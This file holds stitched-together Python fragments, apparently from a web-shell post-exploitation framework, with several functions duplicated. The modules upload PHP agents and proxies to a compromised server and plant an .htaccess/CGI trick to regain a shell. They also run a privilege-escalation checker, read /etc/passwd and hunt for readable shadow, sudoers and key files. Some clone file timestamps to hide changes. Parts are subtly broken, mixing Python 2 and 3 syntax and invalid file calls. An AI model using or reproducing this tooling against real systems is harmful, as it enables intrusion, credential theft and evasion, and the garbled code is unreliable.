def _check_openbasedir(self): open_basedir = ModuleExec( 'system_info', ['-info', 'open_basedir']).load_result_or_run('open_basedir') if not open_basedir: return messages.module_audit_phpconf.basedir_unrestricted dir_sep = ModuleExec( 'system_info', ['-info', 'dir_sep']).load_result_or_run('dir_sep') if not self.os_type or not dir_sep: return messages.module_audit_phpconf.error path_sep = ':' if 'win' in self.os_type else ';' paths = open_basedir.split(path_sep) result = '' for path in paths: result += path + ': ' if not path.endswith(dir_sep): result += ' ' + messages.module_audit_phpconf.basedir_no_slash elif path == '.': result += ' ' + messages.module_audit_phpconf.basedir_dot result += '\n' return result[-2:]
def run(self): file_upload_args = [ self.args['rpath'] ] content = self.args.get('content') lpath = self.args.get('lpath') self._get_env_info(self.session['url']) if not self.base_folder_url or not self.base_folder_path: log.warn(messages.module_file_upload2web.failed_retrieve_info) # If remote path is a folder, get first writable folder if ModuleExec("file_check", [ self.args['rpath'], 'dir' ]).run(): folders = ModuleExec("file_find", [ '-writable', '-quit', self.args['rpath'] ]).run() if not folders or not folders[0]: log.warn(messages.module_file_upload2web.failed_search_writable_starting_s % self.args['rpath']) return None, None # Get remote file name from lpath lfolder, rname = os.path.split(lpath) # TODO: all the paths should be joined with remote OS_SEP from system_info. self.args['rpath'] = os.path.join(folders[0], rname) file_upload_args = [ lpath, self.args['rpath'] ] if content: file_upload_args += [ '-content', content ] if self.args.get('simulate') or ModuleExec("file_upload", file_upload_args).run(): # Guess URL from rpath return [ self._map_file2web(self.args['rpath']) ]
def run(self, args): self._get_env_info(self.session['url']) if not self.base_folder_url or not self.base_folder_path: log.warn(messages.module_file_upload2web.failed_retrieve_info) # If remote path is a folder, get first writable folder if ModuleExec("file_check", [args['rpath'], 'dir']).run(): folders = ModuleExec("file_find", ['-writable', '-quit', args['rpath']]).run() if not folders or not folders[0]: log.warn(messages.module_file_upload2web. failed_search_writable_starting_s % args['rpath']) return # Get file name from lpath lfolder, lname = os.path.split(args['lpath']) # TODO: all the paths should be joined with remote OS_SEP from system_info. args['rpath'] = os.path.join(folders[0], lname) if ModuleExec("file_upload", [args['lpath'], args['rpath']]).run(): # Guess URL from rpath return [self._map_file2web(args['rpath'])]
def _get_env_info(self, script_url): script_folder_data = ModuleExec('system_info', ['-info', 'script_folder']).run() if not script_folder_data or not script_folder_data.get( 'script_folder'): return script_folder = script_folder_data.get('script_folder') script_url_splitted = urlparse.urlsplit(script_url) script_url_path_folder, script_url_path_filename = os.path.split( script_url_splitted.path) url_folder_pieces = script_url_path_folder.split(os.sep) folder_pieces = script_folder.split(os.sep) for pieceurl, piecefolder in zip(reversed(url_folder_pieces), reversed(folder_pieces)): if pieceurl == piecefolder: folder_pieces.pop() url_folder_pieces.pop() else: break base_url_path_folder = os.sep.join(url_folder_pieces) self.base_folder_url = urlparse.urlunsplit(script_url_splitted[:2] + (base_url_path_folder, ) + script_url_splitted[3:]) self.base_folder_path = os.sep.join(folder_pieces)
def run(self): # Check binary binary_path = spawn.find_executable(self.args['httpfs_binary']) if not binary_path: log.error(messages.module_file_mount.httpfs_s_not_found % self.args['httpfs_binary']) return # Generate PHP agent try: status = 0 agent = subprocess.check_output([binary_path, 'generate', 'php']) except subprocess.CalledProcessError as e: status = e.returncode agent = '' if status or not agent: log.error(messages.module_file_mount.error_generating_agent) return # Save temporary PHP agent, and upload it temp_file = tempfile.NamedTemporaryFile(suffix='.php', prefix='', delete=False) temp_file.write(agent) # Without this flush() uploads only a # portion of the file temp_file.flush() result = ModuleExec('file_upload2web', [temp_file.name, self.args['rpath']]).run() temp_file.close() if (not result or not result[0] or len(result[0]) != 2 or not result[0][0] or not result[0][1]): log.error(messages.module_file_mount.failed_agent_upload) return self.args.update({ 'agent_abs_path': result[0][0], 'agent_url': result[0][1] }) log.warn( template.Template( messages.module_file_mount.agent_installed_tutorial).render( **self.args)) if self.args['no_autoremove']: log.warn( messages.module_file_mount.httpfs_agent_manually_remove_s % (result[0][0])) else: log.warn(messages.module_file_mount.httpfs_agent_removed) atexit.register(ModuleExec('file_rm', [result[0][0]]).run)
def run(self): files = [] if ModuleExec("file_check", [self.args['rpath'], 'dir']).run(): # If remote path is a folder, harvest all the readable # files wih given name-regex # Prepare the arguments for file_find file_find_args = ['-readable', self.args['rpath']] if self.args.get('name_regex'): file_find_args += ['-name-regex', self.args.get('name_regex')] if self.args.get('no_recursion'): file_find_args += ['-no-recursion'] files = ModuleExec("file_find", file_find_args).run() elif (ModuleExec("file_check", [self.args['rpath'], 'file']).run() and ModuleExec("file_check", [self.args['rpath'], 'readable']).run()): # If the remote path is a readable file, just store the path files = [self.args['rpath']] # Validate files presence if not isinstance(files, list) or not files: log.warn(messages.module_file_grep.failed_retrieve_info) return # Store the found data in data dictionary in the # form `{ filename : [ line1, line2, ... ] }` results = {} for rfile in files: result = self.vectors.get_result( self.args['vector'], { 'regex': self.args['regex'], 'rfile': rfile, 'case': self.args['case'] }) result_list = result.split('\n') if isinstance( result, str) and result else [] if result_list: if len(files) > 1: # Print filepath:line if there are multiple files for line in result_list: log.info('%s:%s' % (rfile, line)) else: # Else, just print the lines log.info('\n'.join(result_list)) results[rfile] = result_list return results
def run(self): # Get a temporary file name suffix = re.sub('[\W]+', '_', self.args['rpath']) temp_file = tempfile.NamedTemporaryFile(suffix=suffix) lpath = temp_file.name # Keep track of the old timestamp if requested if self.args['keep_ts']: timestamp = ModuleExec('file_check', [self.args.get('rpath'), 'time']).run() # If remote file already exists and readable if ModuleExec('file_check', [self.args.get('rpath'), 'readable']).run(): # Download file result_download = ModuleExec( 'file_download', [self.args.get('rpath'), lpath]).run() # Exit with no result # The error should already been printed by file_download exec if result_download == None: return # Store original md5 md5_orig = hashlib.md5(open(lpath, 'rb', encoding='utf-8').read()).hexdigest() # Run editor subprocess.check_call([self.args['editor'], lpath]) # With no changes, just return if md5_orig == hashlib.md5( open(lpath, 'rb', encoding='utf-8').read()).hexdigest(): log.debug(messages.module_file_edit.unmodified_file) temp_file.close() return else: subprocess.check_call([self.args['editor'], lpath]) # Upload file result_upload = ModuleExec( 'file_upload', ['-force', lpath, self.args.get('rpath')]).run() # Reset original timestamp if requested if self.args['keep_ts']: ModuleExec('file_touch', [self.args.get('rpath'), '-epoch-ts', str(timestamp)]).run() # Delete temp file temp_file.close() return result_upload
def run(self, args): # Handle the cloning of the oldest timestamp in folder if args.get('oldest_file_ts'): # TODO: This works only in remote unix environment, fix it. folder = ( os.path.split(args['rpath'])[0] if os.path.sep in args['rpath'] else '.' ) file_list = [ os.path.join(folder, f) for f in ModuleExec('file_ls', [ folder ]).run() ] for file in file_list: file_time = ModuleExec('file_check', [ file, 'time' ]).run() args['epoch_ts'] = ( file_time if ( not args.get('epoch_ts') or file_time < args.get('epoch_ts') ) else None ) # Handle to get timestamp from another file elif args.get('file_ts'): args['epoch_ts'] = ModuleExec('file_check', [ args['file_ts'], 'time' ]).run() # Handle to get an human readable timestamp elif args.get('human_ts'): try: args['epoch_ts'] = int( time.mktime( dateutil.parser.parse(args['human_ts'], yearfirst=True).timetuple() ) ) except: log.warn(messages.module_file_touch.error_invalid_timestamp_format) return if not args.get('epoch_ts'): log.warn(messages.module_file_touch.error_source_timestamp_required) return self.vectors.get_result(args['vector'], args) # Verify execution if not args['epoch_ts'] == ModuleExec('file_check', [ args.get('rpath'), 'time' ]).run(): log.warn(messages.module_file_touch.failed_touch_file) return return args['epoch_ts']
def init(self): self.register_info({ 'author': [ 'Emilio Pinna', # mod_cgi + .htaccess bypassing technique by ASDIZZLE # https://blog.asdizzle.com/index.php/2016/05/02/getting-shell-access-with-php-system-functions-disabled/ 'ASDIZZLE' ], 'license': 'GPLv3' }) self.register_arguments([ { 'name': 'rpath', 'help': 'Remote path. If it is a folder find the first writable folder in it', 'default': '.', 'nargs': '?' }, { 'name': '-script', 'help': 'CGI script to upload', 'default': os.path.join(self.folder, 'cgi.sh') }, { 'name': '-just-run', 'help': 'Skip install and run shell through URL' }, ]) self.register_vectors([ PhpCode( """(is_callable('apache_get_modules')&&in_array('mod_cgi', apache_get_modules())&&print(1))||print(0);""", postprocess=lambda x: True if x == '1' else False, name='mod_cgi'), ModuleExec('file_upload2web', [ '/bogus/.htaccess', '-content', 'Options +ExecCGI\nAddHandler cgi-script .${extension}' ], name='install_htaccess'), ModuleExec('file_upload', ['${script}', '${rpath}'], name='install_script'), PhpCode( """(is_callable('chmod')&&chmod('${rpath}', 0777)&&print(1))||print(0);""", postprocess=lambda x: True if x == '1' else False, name='chmod'), ModuleExec('file_rm', ['${path}'], name='remove'), ])
def do_request(self): if self.command == 'CONNECT' or self.path.startswith('https'): log.warn(messages.module_net_proxy.https_not_implemented) self.requestline = '' self.request_version = '' self.command = '' self.send_error(501, messages.module_net_proxy.https_not_implemented) return net_curl_args = [self.path, '-X', self.command, '-i'] for h in self.headers: if h.title() in ('Keep-Alive', 'Proxy-Connection', 'Connection'): continue net_curl_args += ['-H', '%s: %s' % (h.title(), self.headers[h])] net_curl_args += ['-H', 'Proxy-Connection: close'] if self.command == 'POST': content_len = int(self.headers.getheader('content-length', 0)) net_curl_args += ['-d', self.rfile.read(content_len)] result, headers, saved = ModuleExec('net_curl', net_curl_args).run() dlog.debug('> ' + '\r\n> '.join( ['%s: %s' % (h.title(), self.headers[h]) for h in self.headers])) dlog.debug('< ' + '\r\n< '.join(headers)) self.wfile.write('\r\n'.join(headers)) self.wfile.write('\r\n\r\n') self.wfile.write(result)
def run(self, args): if args.get('vector', 'posix_getpwuid') == 'posix_getpwuid': pwdresult = PhpCode( """for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).PHP_EOL; }""" ).run(args) if not pwdresult: arg_vector = ['-vector', args.get('vector') ] if args.get('vector') else [] pwdresult = ModuleExec('file_read', ['/etc/passwd'] + arg_vector).run() if not pwdresult: return result = '' for line in pwdresult.split('\n'): fields = line.split(':') if len(fields) > 6: uid = int(fields[2]) shell = fields[6] if (args.get('real') and ((uid == 0 or uid > 999) and 'false' not in shell) or not args.get('real')): result += line + '\n' return result.rstrip('\n')
def run(self): # When no folder is specified, change folder to SCRIPT_NAME to # simulate the bash behaviour. If not available, use current dir. if not self.args.get('dir'): script_folder = ModuleExec( 'system_info', [ '-info', 'script_folder' ] ).load_result_or_run( result_name = 'script_folder' ) self.args['dir'] = script_folder if script_folder else '.' # The execution and result storage is done manually cause # no result has to be stored if the execution fails. This # is not simple to implement using # self.vectors.get_result(.., store_result). folder = PhpCode("""@chdir('${dir}')&&print(@getcwd());""", "chdir").run( self.args ) if folder: self._store_result('cwd', folder) else: log.warning( messages.module_file_cd.failed_directory_change_to_s % (self.args['dir']) )
def check_writable_etc(self): """Search writable files in etc folder""" result = ModuleExec("file_find", ['-writable', '/etc/']).run() if result and any(r for r in result if r): return result
def init(self): self.register_info( { 'author': [ 'Ganapati' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Remote file path', 'default' : '/tmp/%s' % (random.randint(1,99999)), 'nargs' : '?' }, { 'name' : 'rpython', 'help' : 'Remote python interpreter path', 'default' : 'python', 'nargs' : '?' }, ]) self.register_vectors( [ ModuleExec( module = 'file_upload', arguments = [os.path.join(self.folder, 'linuxprivchecker.py'), '${rpath}'], name = 'upload_script' ), ShellCmd( payload = """${rpython} '${rpath}'""", name = 'exec_script' ) ] )
def run(self): paths = [] lpath = self.args.get('lpath_list') if lpath: try: with open(lpath, 'r') as lfile: paths = lfile.read().split('\n') except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return paths += self.args.get('paths') if self.args.get('paths') else [] results = {} for path in paths: result = ModuleExec("file_check", [path, "perms"]).run() if result or self.args.get('print'): results[path] = result return results
def check_spool_crons(self): """Search writable files in /var/spool/cron/ folder""" result = ModuleExec("file_find", ['-writable', '/var/spool/cron/']).run() if result and any(r for r in result if r): return result
def run(self): content_orig = self.args.get('content') if content_orig == None: # Load local file lpath = self.args.get('lpath') if not lpath: log.warning( messages.module_file_upload.error_content_lpath_required) return try: with open(lpath, 'rb') as contentfile: content_orig = contentfile.read() except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return else: content_orig = content_orig.encode('utf-8') self.args['content'] = base64.b64encode(content_orig).decode('utf-8') # Check remote file existence if not self.args['force'] and ModuleExec( 'file_check', [self.args['rpath'], 'exists']).run(): log.warning(messages.generic.error_file_s_already_exists % self.args['rpath']) return vector_name, result = self.vectors.find_first_result( format_args=self.args, condition=lambda result: True if result == '1' else False) if not ModuleExec('file_check', [self.args['rpath'], 'exists']).run(): log.warning(messages.module_file_upload.failed_upload_file) return if not (ModuleExec('file_check', [self.args['rpath'], 'md5']).run() == hashlib.md5(content_orig).hexdigest()): log.warning(messages.module_file_upload.failed_md5_check) return return True
def check_home_executable(self): """Search executable files in /home/ folder""" result = ModuleExec("file_find", ['-no-recursion', '-executable', '/home/']).run() if result and any(r for r in result if r): return result
def check_writable_root(self): """Search writable files in / folder""" result = ModuleExec("file_find", ['-no-recursion', '-writable', '/']).run() if result and any(r for r in result if r): return result
def run(self, args): self.os_type = ModuleExec('system_info', ['-info', 'os']).run().get('os') results = [ ('Operating System', self.os_type if self.os_type else 'Undetected'), ('PHP version', ModuleExec('system_info', ['-info', 'php_version']).run().get( 'php_version', 'Undetected')), ('User', self._check_user()), ('open_basedir', self._check_openbasedir()) ] + self._check_features() + self._check_classes( ) + self._check_functions() return results
def _check_openbasedir(self): open_basedir = ModuleExec('system_info', [ '-info', 'open_basedir' ]).load_result_or_run('open_basedir') if not open_basedir: return messages.module_audit_phpconf.basedir_unrestricted dir_sep = ModuleExec('system_info', [ '-info', 'dir_sep' ]).load_result_or_run('dir_sep') if not self.os_type or not dir_sep: return messages.module_audit_phpconf.error path_sep = ':' if 'win' in self.os_type else ';' paths = open_basedir.split(path_sep) result = '' for path in paths: result += path + ': ' if not path.endswith(dir_sep): result += ' ' + messages.module_audit_phpconf.basedir_no_slash elif path == '.': result += ' ' + messages.module_audit_phpconf.basedir_dot result += '\n' return result[-2:]
def run(self): with open(os.path.join(self.folder, 'poxy.php'), 'r') as proxyfile: proxycontent = proxyfile.read() result = ModuleExec( 'file_upload2web', [ '-content', proxycontent, self.args['rname'], self.args['rpath'] ] ).run(self.args) if not ( result and len(result[0]) == 2 and result[0][0] and result[0][1] ): return log.warn( messages.module_net_phpproxy.phpproxy_installed_to_s_browser_to_s % ( result[0][0], result[0][1] ) ) if self.args['no_autoremove']: log.warn(messages.module_net_phpproxy.proxy_script_manually_remove_s % (result[0][0])) else: log.warn(messages.module_net_phpproxy.proxy_script_removed) atexit.register( ModuleExec('file_rm', [ result[0][0] ] ).run ) return result
def run(self): # Check remote file existance if not ModuleExec('file_check', [self.args.get('rpath'), 'readable']).run(): log.warning(messages.module_file_download.failed_download_file) return # Get the remote file MD5. If this is not available, still do a basic check # to see if the output is decodable as base64 string. expected_md5 = ModuleExec('file_check', [self.args.get('rpath'), 'md5']).run() if expected_md5: check_md5 = lambda r: r != None and hashlib.md5(base64.b64decode( r)).hexdigest() == expected_md5 else: log.debug(messages.module_file_download.skipping_md5_check) check_md5 = lambda r: r != None and bool(base64.b64decode(r)) # Find the first vector that satisfy the md5 check vector_name, result = self.vectors.find_first_result( format_args=self.args, condition=check_md5) # Check if find_first_result failed if not vector_name: log.warning(messages.module_file_download.failed_download_file) return # Dump to local file lpath = self.args.get('lpath') try: result_decoded = base64.b64decode(result) with open(lpath, 'wb') as resultfile: resultfile.write(result_decoded) except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return return result_decoded
def _check_user(self): user = ModuleExec('system_info', ['-info', 'whoami']).load_result_or_run('whoami') if not user: return messages.module_audit_phpconf.error result = user if 'win' in self.os_type: result += ': ' + messages.module_audit_phpconf.user_win_admin elif user == 'root': result += ': ' + messages.module_audit_phpconf.user_nix_root return result
def run(self): headers = [] saved = None self._encode() vector_name, result = self.vectors.find_first_result( names = [ self.args.get('vector') ], format_args = self.args, condition = lambda r: r if r and r.strip() else None ) # Print error and exit with no response or no headers if not (vector_name and result): log.warn(messages.module_net_curl.unexpected_response) return None, headers, saved elif not '\r\n'*2 in result: # If something is returned but there is \r\n*2, we consider # everything as header. It happen with responses 204 No contents # that end with \r\n\r (wtf). headers = result result = '' else: headers, result = result.split('\r\n'*2, 1) headers = ( [ h.rstrip() for h in headers.split('\r\n') ] if '\r\n' in headers else headers ) output_path = self.args.get('output') if output_path: # If response must be saved, it's anyway safer to save it # within additional requests if not self.args.get('local'): saved = ModuleExec('file_upload', [ '-content', result, output_path ]).run() else: try: open(output_path, 'wb').write(result) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (output_path, str(e))) saved = False else: saved = True return result, headers, saved
def run(self): if self.args.get('z'): ModuleExec('file_gzip', ['--keep', '--decompress', self.args['rtar']]).run() self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1]) elif self.args.get('j'): ModuleExec('file_bzip2', ['--keep', '--decompress', self.args['rtar']]).run() self.args['rtar'] = '.'.join(self.args['rtar'].split('.')[:-1]) # The correct execution returns something only on errors result_err = self.vectors.get_result( name='php_tar', format_args=self.args, ) if result_err: log.warn(result_err) return return True
def _map_folder2web(self, relative_path_folder='.'): absolute_path = ModuleExec('file_check', [relative_path_folder, 'abspath']).run() if not absolute_path: log.warn(messages.module_file_upload2web.failed_resolve_path) return None, None if not absolute_path.startswith(self.base_folder_path.rstrip('/')): log.warn( messages.module_file_upload2web.error_s_not_under_webroot_s % (absolute_path, self.base_folder_path.rstrip('/'))) return None, None relative_to_webroot_path = absolute_path.replace( self.base_folder_path, '') url_folder = '%s/%s' % (self.base_folder_url.rstrip('/'), relative_to_webroot_path.lstrip('/')) return absolute_path, url_folder
def check_readable_etc(self): """Search certain readable files in etc folder""" readable_files = ModuleExec("file_find", [ '-readable', '/etc/' ] ).run() files_paths = [ 'shadow', 'ap-secrets', 'mysql/debian.cnf', 'sa_key$', 'keys', '\.gpg', 'sudoers' ] return [ f for f in readable_files if f and any(p for p in files_paths if p and p in f)]
def _get_env_info(self, script_url): script_folder = ModuleExec('system_info', [ '-info', 'script_folder' ]).load_result_or_run('script_folder') if not script_folder: return script_url_splitted = urlparse.urlsplit(script_url) script_url_path_folder, script_url_path_filename = os.path.split( script_url_splitted.path) url_folder_pieces = script_url_path_folder.split(os.sep) folder_pieces = script_folder.split(os.sep) for pieceurl, piecefolder in zip(reversed(url_folder_pieces), reversed(folder_pieces)): if pieceurl == piecefolder: folder_pieces.pop() url_folder_pieces.pop() else: break base_url_path_folder = os.sep.join(url_folder_pieces) self.base_folder_url = urlparse.urlunsplit( script_url_splitted[:2] + (base_url_path_folder, ) + script_url_splitted[3:]) self.base_folder_path = os.sep.join(folder_pieces)
def _map_folder2web(self, relative_path_folder='.'): absolute_path = ModuleExec('file_check', [ relative_path_folder, 'abspath' ]).run() if not absolute_path: log.warn(messages.module_file_upload2web.failed_resolve_path) return None, None if not absolute_path.startswith(self.base_folder_path.rstrip('/')): log.warn(messages.module_file_upload2web.error_s_not_under_webroot_s % ( absolute_path, self.base_folder_path.rstrip('/')) ) return None, None relative_to_webroot_path = absolute_path.replace( self.base_folder_path, '' ) url_folder = '%s/%s' % (self.base_folder_url.rstrip('/'), relative_to_webroot_path.lstrip('/')) return absolute_path, url_folder
def check_writable_binaries(self): """Search writable files in binary folders""" results = [] for path in [ '/bin/', '/usr/bin/', '/usr/sbin', '/sbin', '/usr/local/bin', '/usr/local/sbin', '/lib/', '/usr/lib/', '/usr/local/lib' ]: result = ModuleExec("file_find", ['-writable', path]).run() if result and any(r for r in result if r): results += result return results
def check_readable_logs(self): """Search certain readable log files""" readable_files = ModuleExec("file_find", [ '-readable', '/var/log/' ] ).run() files_paths = [ 'lastlog', 'dpkg', 'Xorg', 'wtmp', 'pm', 'alternatives', 'udev', 'boot' ] return [ f for f in readable_files if f and not f.endswith('gz') and not f.endswith('old') and any(p for p in files_paths if p and p in f)]
class Enum(Module): """Check existence and permissions of a list of paths.""" def init(self): self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'}) self.register_arguments([{ 'name': 'paths', 'help': 'One or more paths', 'nargs': '*' }, { 'name': '-lpath-list', 'help': 'The local file containing the list of paths' }, { 'name': '-print', 'help': 'Print the paths not found too', 'action': 'store_true', 'default': False }]) def run(self): paths = [] lpath = self.args.get('lpath_list') if lpath: try: paths = open(lpath, 'r').read().split('\n') except Exception, e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return paths += self.args.get('paths') if self.args.get('paths') else [] results = {} for path in paths: result = ModuleExec("file_check", [path, "perms"]).run() if result or self.args.get('print'): results[path] = result return results